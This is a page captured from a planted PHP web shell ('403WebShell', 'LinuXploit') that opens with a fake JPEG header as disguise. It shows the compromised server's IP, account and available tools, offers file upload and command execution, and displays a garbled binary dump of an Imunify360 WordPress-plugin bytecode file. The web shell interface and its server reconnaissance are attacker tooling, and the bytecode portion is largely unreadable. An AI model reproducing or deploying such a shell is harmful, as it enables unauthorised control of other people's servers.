ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.221
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/imunify360/venv/lib/python3.11/site-packages/imav/wordpress/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360/venv/lib/python3.11/site-packages/imav/wordpress/__pycache__/plugin.cpython-311.pyc
�

3Ri~��t�dZddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlm
Z
ddlmZddlmZmZddlmZdd	lmZdd
lmZddlmZmZmZddlmZdd
l m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'ddl(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1ddl2m3Z3ej4e5��Z6e
d��Z7d�Z8de9dej:de9fd�Z;dej:defd�Z<dej=fd�Z>d1de?fd�Z@d�ZAdeBfd�ZCd�ZDd efd!�ZEd edeFfd"�ZGd#�ZHd$�ZI	d2d%eJefd&�ZKd'e?efd(�ZLd ed)e9fd*�ZMd+�ZNd,�ZOd edePfd-�ZQd ed.eFdePfd/�ZRd0�ZSdS)3u

This program is free software: you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License,
or (at your option) any later version.


This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
See the GNU General Public License for more details.


You should have received a copy of the GNU General Public License
 along with this program.  If not, see <https://www.gnu.org/licenses/>.

Copyright © 2019 Cloud Linux Software Inc.

This software is also available under ImunifyAV commercial license,
see <https://www.imunify360.com/legal/eula>
�N)�defaultdict)�LooseVersion)�Path)�
inactivity)�MalwareScanScheduleInterval�SystemConfig)�log_message)�	check_run)�WPSite)�cli�	telemetry�PLUGIN_VERSION_FILE)�get_user_schedule_config)�build_command_for_user�calculate_next_scan_timestamp�$clear_get_cagefs_enabled_users_cache�
get_last_scan�get_malware_history�prepare_scan_data�!write_plugin_data_file_atomically)	�delete_site�get_outdated_sites�get_sites_for_user�get_sites_to_install�%get_sites_to_mark_as_manually_deleted�get_sites_to_uninstall�insert_installed_sites�mark_site_as_manually_deleted�update_site_version)�setup_site_authenticationzD/var/lib/cloudlinux-app-version-detector/components_versions.sqlite3c�H�t��tj��dS)z#Clear all WordPress-related caches.N)rr�clear_get_content_dir_cache���J/opt/imunify360/venv/lib/python3.11/site-packages/imav/wordpress/plugin.py�clear_cachesr&Is#��(�*�*�*��#�%�%�%�%�%r$�items�	user_info�returnc�����t|��}d�|D��}|D]D���fd�|D��}|r1t|t���}||�����E|S)Nc��i|]}|g��Sr#r#)�.0�paths  r%�
<dictcomp>zsite_search.<locals>.<dictcomp>Rs��
.�
.�
.�4�d�B�
.�
.�
.r$c�,��g|]}��|���|��Sr#r#)r,r-�item�matchers  ��r%�
<listcomp>zsite_search.<locals>.<listcomp>Us*���M�M�M�4����t�9L�9L�M�$�M�M�Mr$)�key)r�max�len�append)r'r(r1�
user_sites�result�matching_sites�most_specific_siter0s  `    @r%�site_searchr;Os�����#�I�.�.�J�
.�
.�:�
.�
.�
.�F��4�4��M�M�M�M�M�:�M�M�M���	4�!$�^��!=�!=�!=���%�&�-�-�d�3�3�3���Mr$�admin_configc��:K�t||j���d{V��}|�dd��}t|j|��\}}}}d}	|tjkrt
||||��}	t|j��}
t|
|d���}||	|fS)N�	scan_datec�P�|ddko|d�|��S)N�
resource_type�file)�
startswith)r0r-s  r%�<lambda>z)_get_scan_data_for_user.<locals>.<lambda>{s-��4��0�F�:�*���L�#�#�D�)�)�r$)	r�pw_name�getr�Interval�NONErrr;)�sinkr(r<�	last_scan�last_scan_time�interval�hour�day_of_month�day_of_week�next_scan_time�malware_history�malware_by_sites            r%�_get_scan_data_for_userrR_s�����$�D�)�*;�<�<�<�<�<�<�<�<�I��]�]�;��5�5�N�1I���<�1�1�-�H�d�L�+��N��8�=� � �6��d�L�+�
�
��
*�)�*;�<�<�O�"���	*�	*���O��>�?�:�:r$�	semaphorec���K�|4�d{V��	|�d{V��n4#t$r'}t�d|����Yd}~nd}~wwxYwddd���d{V��dS#1�d{V��swxYwYdS)NzTelemetry task failed: )�	Exception�logger�error)�cororS�es   r%�_send_telemetry_taskrZ�s+�����8�8�8�8�8�8�8�8�	8��J�J�J�J�J�J�J�J���	8�	8�	8��L�L�6�1�6�6�7�7�7�7�7�7�7�7�����	8����8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8����8�8�8�8�8�8s5�A��A�
A�A�A�A�A�
A'�*A'�
�
coroutinesc����K�|sdStj|����fd�|D��}	tj|��d{V��dS#t$r(}t�d|����Yd}~dSd}~wwxYw)zK
    Process a list of telemetry coroutines with a concurrency limit.s
    Nc�T��g|]$}tjt|�������%Sr#)�asyncio�create_taskrZ)r,rXrSs  �r%r2z+process_telemetry_tasks.<locals>.<listcomp>�s?���
�
�
��	��0��y�A�A�B�B�
�
�
r$zSome telemetry tasks failed: )r_�	Semaphore�gatherrUrVrW)r\�concurrency�tasksrYrSs    @r%�process_telemetry_tasksre�s�����������!�+�.�.�I�
�
�
�
��
�
�
�E�
:��n�e�$�$�$�$�$�$�$�$�$�$���:�:�:����8�Q�8�8�9�9�9�9�9�9�9�9�9�����:���s�A�
A3�A.�.A3c��0K�t�d��t��}t��}t��}g}tj�d��5	t
��t��}|s2	t|��t|���d{V��ddd��dSt��}tt��}|D]"}||j
�|���#|���D�]�\}	}
	t!j|	��}|j}n<#t&$r/}
t)dt+|
��|	|
d�ddd�	��Yd}
~
�Wd}
~
wwxYwt-|||���d{V��\}}}|
D�]b}t/||���d{V��r�	t1j|���d{V��}|st)d
d|iddd�	���Nt5|||||��}t7||���d{V��t9||||���d{V��t1j|���d{V��t1j|���d{V��}|s|�|��n(|�tAj!||����|�tEj#|d
||�������0#t&$r'}
t�$d||
��Yd}
~
��\d}
~
wwxYw���t�dt+|����|r(t�%dt+|����nf#tLj'$r+t�dt+|����Yn-t&$r!}
t�$d|
���d}
~
wwxYwt|��t|���d{V��n)#t|��t|���d{V��wxYw	ddd��n#1swxYwY|S)zLInstall the imunify-security plugin for all sites where it is not installed.z%Installing imunify-security wp pluginzwp-plugin-installationNz�Skipping installation of WordPress plugin on {count} site(s) because they belong to user {user} and it is not possible to retrieve username for this user. Reason: {reason}��count�user�reason�warning�	wordpresszwp-plugin-install-skip-user��format_args�level�	component�fingerprintz:WordPress site is not accessible using WP CLI. site={site}�sitezwp-plugin-cli-not-accessible�installed_by_imunify�rH�eventrr�versionz,Failed to install plugin to site=%s error=%rz0Installed imunify-security wp plugin on %d siteszFailed to authenticate %d siteszXInstallation imunify-security wp plugin was cancelled. Plugin was installed for %d sitesz3Error occurred during plugin installation. error=%r)(rV�info�setr�track�taskr&rrrerr�list�uidr6r'�pwd�getpwuidrDrUr	r5rR�remove_site_if_missingr�is_wordpress_installedr�update_scan_data_file�update_site_auth�plugin_install�get_plugin_version�addr�build_with_versionr
�
send_eventrWrkr_�CancelledError)rH�	installed�
authenticated�failed�telemetry_coros�
to_installr<�
sites_by_userrrr|�sitesr(�usernamerWrJrOrQr��	scan_datarvs                    r%�install_everywherer��s����
�K�K�7�8�8�8����I��E�E�M�
�U�U�F��O�	�	�	�	�7�	8�	8�E;�E;�D	;��N�N�N�-�/�/�J��
��x
#�9�-�-�-�)�/�:�:�:�:�:�:�:�:�:�KE;�E;�E;�E;�E;�E;�E;�E;�(�>�>�L�(��-�-�M�"�
5�
5���d�h�'�.�.�t�4�4�4�4�,�1�1�3�3�Z
�Z
�
��U�� #��S� 1� 1�I�(�0�H�H�� �����D�
&)��Z�Z�$'�&+�%�%�
(�"-�$A�
�
�
�
��H�H�H�H���������*2��)�\���������	�"�"�#�
"�=�=�D�3�D�$�?�?�?�?�?�?�?�?�!� �:�#&�"<�T�"B�"B�B�B�B�B�B�B�/� 6�	%�'�!4�-3�T�N�&/�*5�,J�
����%�%6�*�*�$� �+�%�%�	�4�D�)�D�D�D�D�D�D�D�D�D�.� �)�]�F����������
"�0��6�6�6�6�6�6�6�6�6�),�(>�t�(D�(D�"D�"D�"D�"D�"D�"D��&��%�M�M�$�/�/�/�/�%�M�M� &� 9�$�� H� H����
(�.�.�%�0�%)�&<�%)�(/�	��������%�������J� �!�����������������q=�|
�K�K�B��I���
�
�
��
����5���K�K�������%�	�	�	��K�K�.��I���
�
�
�
�
�
�	�	�	��L�L�E�u�
�
�
�
�����		����
#�9�-�-�-�)�/�:�:�:�:�:�:�:�:�:�:��
#�9�-�-�-�)�/�:�:�:�:�:�:�:�:�:�:����:�KE;�E;�E;�E;�E;�E;�E;�E;�E;�E;�E;����E;�E;�E;�E;�N�s��(P�*M
�	$P�:A!M
�D8�7M
�8
E1�%E,�'M
�,E1�1:M
�,2K�M
�C K�?M
�
K2	�K-	�'M
�-K2	�2AM
�	O�
7N-�O�	N-�N(�(N-�-O�0%P�&O;�;P�P�Pc��	tj��s"t�dt��dStj�����S#t$r&}t�d|��Yd}~dSd}~wwxYw)zLGet the latest version of the imunify-security plugin from the version file.z&Plugin version file does not exist: %sNz&Failed to read plugin version file: %s)r�existsrVrW�	read_text�striprU)rYs r%�get_latest_plugin_versionr�0s���	�"�)�+�+�	��L�L�8�:M�
�
�
��4�"�,�.�.�4�4�6�6�6���������=�q�A�A�A��t�t�t�t�t��������s�3A�$A�
B�&B�Bc���K�t��}|st�d��dSt�d|��t	��}g}t
j�d��5	t|��}t�dt|���d���|s#	t|���d{V��ddd��dSt��}tt��}|D]"}||j�|���#|���D�]�\}}		t#j|��}
|
j}n3#t($r&}t�d||��Yd}~�Nd}~wwxYwt+||
|���d{V��\}
}}|	D�]t}t-||���d{V��r�	t/j|���d{V��st�d|���Qt3|
||||��}t5||���d{V��t/j|���d{V��|�|��t/j|���d{V��}|r{|j}t?||��|� |��}tC|��tC|��k}|�tEj#||rd	nd
||�������B#t($r'}t�d||��Yd}~��nd}~wwxYw���t�d
t|����nf#tHj%$r+t�dt|����Yn-t($r!}t�d|���d}~wwxYwt|���d{V��n#t|���d{V��wxYw	ddd��dS#1swxYwYdS)zFUpdate the imunify-security plugin on all sites where it is installed.z)Could not determine latest plugin versionNz<Updating imunify-security wp plugin to the latest version %szwp-plugin-updatezFound z outdated sites�+Failed to get username for uid=%d. error=%sz#WordPress site no longer exists: %s�downgraded_by_imunify�updated_by_imunifyrtz+Failed to update plugin on site=%s error=%sz.Updated imunify-security wp plugin on %d siteszRUpdate of imunify-security wp plugin was cancelled. Plugin was updated on %d sitesz-Error occurred during plugin update. error=%s)&r�rVrWrwrxrryrzrr5rerrr{r|r6r'r}r~rDrUrRrrr�rr��
plugin_updater�r�rvrr�rr
r�r_r�)rH�latest_version�updatedr��outdated_sitesr<r�rrr|r�r(r�rWrJrOrQr�rv�original_version�is_downgrades                    r%�update_everywherer�>s�����.�0�0�N������@�A�A�A���
�K�K�F�����
�e�e�G��O�	�	�	�	�1�	2�	2�w;�w;�v	;�/��?�?�N��K�K�E��^�!4�!4�E�E�E�F�F�F�!�
��`*�/�:�:�:�:�:�:�:�:�:�ow;�w;�w;�w;�w;�w;�w;�w;�(�>�>�L�(��-�-�M�&�
5�
5���d�h�'�.�.�t�4�4�4�4�,�1�1�3�3�R
�R
�
��U�	� #��S� 1� 1�I�(�0�H�H�� �����L�L�E������
�H�H�H�H�����
����2��)�\���������	�"�"�#�
"�=�=�D�3�D�$�?�?�?�?�?�?�?�?�!� �:�%(�%?��%E�%E�E�E�E�E�E�E�%�"�K�K� E�t����%�%6�*�*�$� �+�%�%�	�4�D�)�D�D�D�D�D�D�D�D�D�"�/��5�5�5�5�5�5�5�5�5����D�)�)�)�),�(>�t�(D�(D�"D�"D�"D�"D�"D�"D��"��/3�|�,�0��g�>�>�>�$(�#:�#:�7�#C�#C�D�,8� '�,�,� ,�-=� >� >�,?�L�
,�2�2� )� 4�)-�'3�+>�*A�*A�)=�)-�,3�
!"�!"�!"�	�	�	���%�������I� �!�����������������q=�~
�K�K�@��G���
�
�
�
���%�	�	�	��K�K�+��G���
�
�
�
�
�
�	�	�	��L�L�?��
�
�
�
�����		����*�/�:�:�:�:�:�:�:�:�:�:��)�/�:�:�:�:�:�:�:�:�:�:����:�ow;�w;�w;�w;�w;�w;�w;�w;�w;�w;�w;�w;����w;�w;�w;�w;�w;�w;s��9O-�;<M	�8O-�A!M	�<E�M	�
F�"F�>M	�F�:M	�5K*�8M	�9C/K*�(M	�*
L	�4L	�M	�L	�-M	�O�	7N,�O�	N,�N'�'N,�,O�/O-�O�O-�-O1�4O1rrc��K�tj|���d{V��}|���r'tjt
j|���d{V��dSdS�N)r�get_data_dirr�r_�	to_thread�shutil�rmtree)rr�data_dirs  r%�delete_plugin_filesr��sq�����%�d�+�+�+�+�+�+�+�+�H������9����
�x�8�8�8�8�8�8�8�8�8�8�8�9�9r$c��K�	tj|���d{V��}|s+t|tj��||���d{V��dStj|���d{V��}tj|���d{V��t
|���d{V��t|��}|�tj
|d||�����|S#t$r'}t�
d||��Yd}~dSd}~wwxYw)a7
    Remove the imunify-security plugin from a single site, including all cleanup and telemetry.
    Returns the number of affected sites (should be 1 if deletion was successful).
    This function is intended to be protected with asyncio.shield to ensure it completes even if the parent task is cancelled.
    Nr�uninstalled_by_imunifyrtz"Failed to remove plugin from %s %s)r�is_plugin_installed�process_manually_deleted_plugin�timer��plugin_uninstallr�rr6r
r�rUrVrW)rrrHr��is_installedrv�affectedrWs       r%�remove_from_single_siter��sz����#� �4�T�:�:�:�:�:�:�:�:���	�1��d�i�k�k�4����
�
�
�
�
�
�
��1��.�t�4�4�4�4�4�4�4�4���"�4�(�(�(�(�(�(�(�(�(�"�$�'�'�'�'�'�'�'�'�'��t�$�$��	���� ��.���	
�
�
�	
�	
�	
�����������9�4��G�G�G��q�q�q�q�q��������s�AC�BC�
D�C<�<Dc
��K�t�d��g}d}tj�d��5	t��t
��}|D]m}	|tjt|||�����d{V��z
}�0#tj
$r,t�d|t|����Y�jwxYwn.#t$r!}t�
d|���d}~wwxYw	t�d|��t|���d{V��n5#t�d|��t|���d{V��wxYw	ddd��dS#1swxYwYdS)zHRemove the imunify-security plugin from all sites where it is installed.z#Deleting imunify-security wp pluginrzwp-plugin-removalNz_Deleting imunify-security wp plugin was cancelled. Plugin was deleted from %d sites (out of %d)z)Error occurred during plugin deleting. %sz0Removed imunify-security wp plugin from %s sites)rVrwrryrzr&rr_�shieldr�r�r5rUrWre)rHr�r��	to_removerrrWs      r%�remove_all_installedr��s5����
�K�K�5�6�6�6��O��H�	�	�	�	�2�	3�	3�;�;�	;��N�N�N�.�0�0�I�!�
�
��
��g�n�/��d�O�L�L�'�'�!�!�!�!�!�!��H�H���-�����K�K�H� ��I���	���������
���	�	�	��L�L�D�e�L�L�L������	����
� 
�K�K�B��
�
�
�*�/�:�:�:�:�:�:�:�:�:�:��

�K�K�B��
�
�
�*�/�:�:�:�:�:�:�:�:�:�:����:�9;�;�;�;�;�;�;�;�;�;�;�;����;�;�;�;�;�;sl�E2� C�#,B�C�8C�C�
C�C�D/�
C:�C5�5C:�:D/�>1E2�/2E!�!E2�2E6�9E6c��K�	t||��t|���d{V��|�tj|d||j�����dS#t$r'}t�d||��Yd}~dSd}~wwxYw)a�
    Process the manually deleted plugin for a single site.

    Args:
        site: The site to process.
        now: The current time.
        sink: The telemetry/event sink.
        telemetry_coros: The list of telemetry coroutines to add the event to.

    The process includes:
    - marking the site as manually deleted in the database
    - removing plugin data files
    - sending telemetry for manual removal
    N�removed_by_userrtz>Failed to process manually deleted plugin for site=%s error=%s)	rr�r6r
r�rvrUrVrW)rr�nowrHr�rWs     r%r�r�s�����
�%�d�C�0�0�0�"�$�'�'�'�'�'�'�'�'�'�	���� ��'����	
�
�
�	
�	
�	
�	
�	
���
�
�
����L���	
�	
�	
�	
�	
�	
�	
�	
�	
�����
���s�AA�
B�%B�B�freshly_installed_sitesc��dK�g}	t|��}|r0tj��}|D]}t||||���d{V���n2#t$r%}t�d|��Yd}~nd}~wwxYw|rt
|���d{V��dSdS#|rt
|���d{V��wwxYw)a>
    Tidy up sites that have been manually deleted by the user.

    Args:
        sink: The telemetry/event sink.
        freshly_installed_sites: Optional set of sites that were just installed and should be excluded
                                from being marked as manually deleted to avoid race conditions.
    Nz&Error occurred during site tidy up. %s)rr�r�rUrVrWre)rHr�r��to_mark_as_manually_removedr�rrrWs       r%�tidy_up_manually_deletedr�Ds>�����O�;�&K�#�'
�'
�#�'�	��)�+�+�C�3�
�
��5��#�t�_��������������F�F�F����=�u�E�E�E�E�E�E�E�E�����F�����	;�)�/�:�:�:�:�:�:�:�:�:�:�:�	;�	;��?�	;�)�/�:�:�:�:�:�:�:�:�:�:�	;���s0�AA�B�
A7�A2�-B�2A7�7B�B/r�c	��K�|sdSt��}tt��}|D]"}||j�|���#|���D]�\}}	t
j|��}|j}n3#t$r&}t�d||��Yd}~�Md}~wwxYwt|||���d{V��\}	}
}|D]v}t||���d{V��r�	t|	|
|||��}t||���d{V���D#t$r&}t�d||��Yd}~�od}~wwxYw��dS)Nr�z.Failed to update scan data on site=%s error=%s)rrr{r|r6r'r}r~rDrUrVrWrRrrr�)
rHr�r<r�rrr|r(r�rWrJrOrQr�s
             r%�update_data_on_sitesr�bs��������� �>�>�L� ��%�%�M��-�-���d�h��&�&�t�,�,�,�,�$�)�)�+�+�&�&�
��U�		���S�)�)�I� �(�H�H���	�	�	��L�L�=���
�
�
�

�H�H�H�H�����
	����*�$�	�<�H�H�H�H�H�H�H�H�		
�����	�	�D�+�D�$�7�7�7�7�7�7�7�7�
��
�-�"�"���#���	�,�D�)�<�<�<�<�<�<�<�<�<�<���
�
�
����D���������������
����	�%&�&s0�(B�
B4�B/�/B4�.)D�
E�"E�Er�c��K�tj|j��}|j}t	j|���d{V��}tj�|��rtdt|�����|���s�t|j
ddt|��g��}t|���d{V��|���s#tdt|��|j
���|�d��|dz}dt!j|���dd	��zd
z}t'|||j|���dS)Nz)Data directory %s is a symlink, skipping.�mkdirz-pz)Failed to create directory %s for user %s���
scan_data.phpzB<?php
if ( ! defined( 'WPINC' ) ) {
	exit;
}
return json_decode( '�'z\'z
', true );)r|�gid)r}r~r|�pw_gidrr��osr-�islinkrU�strr�rrDr
�chmod�json�dumps�replacer)rrr�r(r�r��command�scan_data_path�php_contents        r%r�r��s�������T�X�&�&�I�
�
�C��%�d�+�+�+�+�+�+�+�+�H�	�w�~�~�h���
��7��X���
�
�	
��?�?����(������H�
�
�
�
�
���� � � � � � � � � ���� � �	��;��H�
�
��!���
�	���u������/�N�	 �
�*�Y�
�
�
'�
'��U�
3�
3�	4��
	��&�����s������r$c
���K�t�d��t��}t��}tj�d��5	t
��t��}|s(t�d��	ddd��dStt��}|D]"}||j
�|���#g}|���D]�\}}	tj|��}|D])}t||||��}	|�|	���*�G#t $r/}
t#dt%|��||
d�ddd	�
��Yd}
~
�{d}
~
wwxYwd}t'dt%|��|��D]&}||||z�}
t)j|
d
di��d{V���'t�dt%|��t%|����nf#t(j$r+t�dt%|����Yn-t $r!}
t�d|
���d}
~
wwxYwddd��dS#1swxYwYdS)z7Update auth.php files for all existing WordPress sites.z4Updating auth.php files for existing WordPress siteszwp-auth-updatez"No installed WordPress sites foundNz�Skipping auth update for WordPress sites on {count} site(s) because they belong to user {user} and it is not possible to retrieve username for this user. Reason: {reason}rgrkrlzwp-plugin-auth-update-skip-userrmr[r�return_exceptionsTz8Updated auth.php files for %d WordPress sites, %d failedzLAuth update for WordPress sites was cancelled. Auth was updated for %d sitesz+Error occurred during auth update. error=%s)rVrwrxrryrzr&rrr{r|r6r'r}r~r�rUr	r5�ranger_rbr�rW)r�r��installed_sitesr�rrrdr|r�r(rzrW�max_concurrent�i�batchs              r%�update_auth_everywherer��sf����
�K�K�F�G�G�G��e�e�G�
�U�U�F�	�	�	�	�/�	0�	0�A�A�@	��N�N�N�5�6�6�O�"�
����@�A�A�A��A�A�A�A�A�A�A�A�(��-�-�M�'�
5�
5���d�h�'�.�.�t�4�4�4�4��E�+�1�1�3�3�
�
�
��U�� #��S� 1� 1�I� %�+�+��/� �)�W�f� � �����T�*�*�*�*�	+��
!�����D�
&)��Z�Z�$'�&+�%�%�
(�"-�$E�
�
�
�
��H�H�H�H���������& �N��1�c�%�j�j�.�9�9�
E�
E���a�!�n�"4�4�5���n�e�D�t�D�D�D�D�D�D�D�D�D�D��K�K�J��G����F���
�
�
�
���%�	�	�	��K�K�(��G���
�
�
�
�
�
�	�	�	��L�L�F��N�N�N������	����A�A�A�A�A�A�A�A�A�A�A�A����A�A�A�A�A�Asu�I#�8G0� AG0�5AD6�5G0�6
E/�%E*�%G0�*E/�/BG0�/I#�07I�'I#�)	I�2I�I�I#�#I'�*I'c���K�	t||���d{V��|�|��dS#t$r<}|�|��t�d||��Yd}~dSd}~wwxYw)z/Process authentication setup for a single site.Nz*Failed to update auth for site=%s error=%s)r r�rUrVrW)rrr(r�r�rWs     r%r�r�s�����	
�'��i�8�8�8�8�8�8�8�8�8����D��������
�
�
��
�
�4�������8���	
�	
�	
�	
�	
�	
�	
�	
�	
�����
���s�+1�
A7�1A2�2A7c��*K�tj�|j��rdSt	|��}|dkr$tj|d||j����d{V��n1t�	d|��tdd|id	d
d���d
S)a�
    Checks if the site directory exists. If not, removes the site from the local database and sends a 'site_removed' telemetry event only if deletion is successful.
    Returns True if the site was removed (directory missing), False otherwise.
    Parameters:
        sink: The telemetry/event sink.
        site: The WPSite object to check and potentially remove.
    Side effect: If the site is missing and successfully deleted from database, a telemetry event will be sent.
    Fr�site_removedrtNz@Failed to delete missing site %s from database, no rows affectedz2Failed to delete missing site {site} from databaserrrkrlzwp-plugin-site-delete-failedrmT)r�r-�isdir�docrootrr
r�rvrVrkr	)rHrr�rows_deleteds   r%rr(s�����
�w�}�}�T�\�"�"���u��t�$�$�L��a����"��^�$���
�
�
�	
�	
�	
�	
�	
�	
�	
�	
�	���N��	
�	
�	
�
	�@�����!�6�	
�	
�	
�	
��4r$�file_permissionsc���K�	tj|���d{V��}|���sdS|���jdz}|dkr|�d��dD]R}||z}|���r7|���jdz}||kr|�|���SdS#t$r'}t�d||��Yd}~dSd}~wwxYw)a)
    Fix data file permissions for a single WordPress site.

    Args:
        site: The WordPress site to fix permissions for
        file_permissions: The file permissions to set (e.g., 0o440 or 0o400)

    Returns:
        bool: True if permissions were fixed successfully, False otherwise
    NFi�r�)r�zauth.phpTz.Failed to fix permissions for site=%s error=%s)	rr�r��stat�st_moder�rUrVrW)rrr�r��current_dir_mode�	file_name�	file_path�current_file_moderWs        r%�fix_site_data_file_permissionsr�Ms0������)�$�/�/�/�/�/�/�/�/����� � �	��5�$�=�=�?�?�2�U�:���u�$�$��N�N�5�!�!�!�6�	6�	6�I� �9�,�I����!�!�
6�$-�N�N�$4�$4�$<�u�$D�!�$�(8�8�8��O�O�$4�5�5�5���t���������<���	
�	
�	
�
�u�u�u�u�u�����
���s�.C�BC�
C3�C.�.C3c��\K�t��}t��}tj�d��5	t	��t��}|s	ddd��dSddlm}ddlm	}|��j
|j
krdnd}|D]\}t||���d{V��r�t||���d{V��}|r|�
|���G|�
|���]t�dt!|��t!|����nj#t"j$r+t�d	t!|����Yn1t&$r%}	t�d
|	��Yd}	~	nd}	~	wwxYwddd��dS#1swxYwYdS)z�
    Fix data file permissions for all WordPress sites with imunify-security plugin installed.

    Args:
        sink: The telemetry/event sink
    zwp-plugin-fix-permissionsNr)�HostingPanel)�Pleski �z=Fixed data file permissions for %d WordPress sites, %d failedzOFixing data file permissions was cancelled. Permissions were fixed for %d sitesz1Error occurred during permission fixing. error=%s)rxrryrzr&r�+defence360agent.subsys.panels.hosting_panelr��#defence360agent.subsys.panels.pleskr��NAMErr�r�rVrwr5r_r�rUrW)
rH�fixedr�r�r�r�r�rr�successrWs
          r%�$fix_data_file_permissions_everywherer�ws�����
�E�E�E�
�U�U�F�	�	�	�	�:�	;�	;�0�0�/	��N�N�N�5�6�6�O�"�
��0�0�0�0�0�0�0�0�
�
�
�
�
�
�
B�A�A�A�A�A�&����,��
�:�:����
�
(�

%�

%��/��d�;�;�;�;�;�;�;�;��� >��*�!�!���������%��I�I�d�O�O�O�O��J�J�t�$�$�$�$��K�K���E�
�
��F���	
�
�
�
���%�	�	�	��K�K�&��E�
�
�
�
�
�
�
�
�	�	�	��L�L�C�U�
�
�
�
�
�
�
�
�����	����[0�0�0�0�0�0�0�0�0�0�0�0����0�0�0�0�0�0sN�F!�D*�,B=D*�)F!�*7F�!F!�#	F�,F�F!�F�F!�!F%�(F%)r[r�)T�__doc__r_r��loggingr�r}r�r��collectionsr�distutils.versionr�pathlibr�defence360agent.apir� defence360agent.contracts.configrrFr�defence360agent.sentryr	�defence360agent.utilsr
�imav.model.wordpressr�imav.wordpressrr
r�(imav.malwarelib.plugins.schedule_watcherr�imav.wordpress.utilsrrrrrrr�imav.wordpress.site_repositoryrrrrrrrrr�imav.wordpress.proxy_authr �	getLogger�__name__rV�COMPONENTS_DB_PATHr&�dict�
struct_passwdr;rRrarZr{rer�r�r�r�r��intr�r�r�rxr�r�r�r�r��boolrr�r�r#r$r%�<module>r	sd����*������������	�	�	�	�
�
�
�
�
�
�
�
�����#�#�#�#�#�#�*�*�*�*�*�*�������*�*�*�*�*�*���������/�.�.�.�.�.�+�+�+�+�+�+�'�'�'�'�'�'�>�>�>�>�>�>�>�>�>�>�M�M�M�M�M�M�������������������
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�@�?�?�?�?�?�	��	�8�	$�	$���T�J����
&�&�&�
�t�
��(9�
�t�
�
�
�
�  ;��&� ;�6B� ;� ;� ;� ;�F8��0A�8�8�8�8�:�:�d�:�:�:�:�&P�P�P�f�3�����E;�E;�E;�P9�F�9�9�9�9�)��)�#�)�)�)�)�X";�";�";�J$
�$
�$
�P26�;�;�#&�v�;�;�;�;�;�<3�D��L�3�3�3�3�l4�f�4��4�4�4�4�nH�H�H�V
�
�
�"�V�"��"�"�"�"�J'�
�'�$'�'�	�'�'�'�'�T:�:�:�:�:r$

Youez - 2016 - github.com/yon3zu
LinuXploit